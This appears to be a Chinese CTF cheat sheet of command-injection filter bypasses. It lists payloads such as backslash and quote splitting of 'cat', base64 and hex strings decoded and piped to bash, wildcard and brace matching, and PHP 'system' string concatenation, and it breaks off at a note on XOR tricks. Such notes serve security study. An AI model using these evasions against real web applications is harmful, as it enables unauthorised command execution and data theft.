过滤关键字
反斜杠绕过 ca\t y1n\g.php
两个单引号绕过 cat y1''ng.php
base64编码绕过 echo “base64编码” | base64 -d | bash
hex编码绕过 echo "hex编码" | xxd -r -p | bash
用[ ]进行匹配 cat y1[n]g.php
用* 匹配任意 cat y1n*
用?匹配任意 cat y1n?
用{ }匹配范围 cat y1{a..z}g.php
变量 $a=fl;$b=ag;cat $a$b.php
拼接绕过 ‘fl’.'ag'
括号绕过 (sy.(st).em)(ls);
除了上述方式,还可以用字符串拼接的方式绕过。
python字符串拼接:
1.+ eg: ‘a’+‘b’ 输出:‘ab’
2.贴贴 eg: ‘a’‘b’ 输出:‘ab’
PHP拼接:
. eg: ‘a’.‘b’ 输出:‘ab’
解释内联执行:将前一个执行结果作为后一个执行的参数。
过滤所有字母和数字:
1.位运算-异或(见脚 ...